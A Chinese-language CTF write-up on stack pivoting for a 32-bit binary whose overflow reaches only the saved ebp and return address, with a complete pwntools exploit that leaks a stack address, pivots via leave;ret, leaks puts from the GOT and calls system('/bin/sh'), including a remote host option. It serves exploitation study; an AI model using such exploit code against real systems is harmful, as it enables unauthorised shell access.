一、花式栈溢出介绍:
花式栈溢出又叫栈迁移技术,是指在可以写的payload的长度不佳的情况下(一般只有ebp和ret位置可以写,没有多的了,或者再多给两行可以写的),这样的话我们需要进行栈迁移,具体做法有如下两种:
1、迁移到栈本身,2、迁移到bss段中,3、迁移到堆块(后期补充)
先来看看迁移到栈的情况:
来一道题目:
这里堆栈不可执行保护,其他的没开,然后栈溢出发现只能溢出8字节,32位的话,就是覆盖到ebp和ret的位置,很局限,这里想到栈迁移,于是搞一波操作:
第一步:迁移到本身的栈,ebp和ret的构造(需要泄露出栈地址)
第二步:泄露出真实地址(调用puts函数),返回原来的vul地址
第三步:再次迁移,实现system调用
第一步泄露出栈地址:
1 2 3 4 5 6 7 8 9 10
| py = '' py += 'a'*0x58 ru("hello boy")
sl(py) ru('a'*0x58) stack = u32(rc(16)[-4:]) print "stack---->" + hex(stack) stack_esp = stack - 0x80 print "stack_esp---->" + hex(stack_esp)
|
泄露后面的那个栈地址才是固定偏移(第一个坑),泄露出来后减去0x80的固定偏移,即可得到输入位置栈顶的地址,接着我们可以输入我们栈迁移的代码了:
1 2 3 4 5 6 7 8 9 10 11 12 13
| vul_addr = 0x8048576 puts_got = elf.got["puts"] puts = elf.symbols["puts"] leave_ret = 0x08048488
py = '' py += 'aaaa' py += p32(puts) py += p32(vul_addr) py += p32(puts_got) py += 18*'aaaa' //计算好大小为0x58 py += p32(stack_esp) //ebp py += p32(leave_ret) //ret
|
可以看下在栈中的分布情况:
接着继续运行即可打印出puts的got表地址:
真实地址泄漏出来,函数又回到了vul函数:
意味着我们可以再次输入,那么计算出system和binsh的地址,再次栈迁移下:
1 2 3 4 5 6 7 8
| py1 = '' py1 += 'aaa' py1 += p32(system) py1 += p32(0xdeadbeef) py1 += p32(binsh) py1 += 18*'aaaa' py1 += p32(stack_esp-0x50) py1 += p32(leave_ret)
|
这里需要注意的问题是,第二次输入时的位置不同,这次是减去0x50才是新的栈帧的栈顶地址,同时,输入时要先输入‘aaa’,这一步是动态调试调出来的,偏移的缘故,才能对齐。
最后一步步执行:第一次已经构造好了payload,第二次输入就直接写一个ls字符串(随便,但是不要影响第一次的栈布局)即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| from pwn import * context.log_level = 'debug' local = 1 elf = ELF('./framestack') if local: p = process('./framestack') libc = elf.libc else: p = remote('116.85.48.105',5005) libc = ELF('./libc.so.6')
sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive()
def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr))) def bk(addr): gdb.attach(p,"b *"+str(addr))
py = '' py += 'a'*0x58 ru("hello boy")
sl(py) ru('a'*0x58) stack = u32(rc(16)[-4:]) print "stack---->" + hex(stack) stack_esp = stack - 0x80 print "stack_esp---->" + hex(stack_esp) vul_addr = 0x8048576 puts_got = elf.got["puts"] puts = elf.symbols["puts"] leave_ret = 0x08048488
py = '' py += 'aaaa' py += p32(puts) py += p32(vul_addr) py += p32(puts_got) py += 18*'aaaa' py += p32(stack_esp) py += p32(leave_ret) sleep(0.1)
sl(py) ru('\x0a') puts_got = u32(rc(4)) print "puts_got--->" + hex(puts_got) libc_base = puts_got - libc.symbols["puts"] system = libc_base + libc.symbols["system"] binsh = libc.search("/bin/sh").next() + libc_base onegadget = libc_base + 0xf1147
py1 = '' py1 += 'aaa' py1 += p32(system) py1 += p32(0xdeadbeef) py1 += p32(binsh) py1 += 18*'aaaa' py1 += p32(stack_esp-0x50) py1 += p32(leave_ret) sd(py1) ru("here,") sleep(1) sd('ls') p.interactive()
|
这里纯属复习用,不用做其他的作用,后期更新迁移到bss段的,那个就很好理解了,栈的结构也不会发生变化~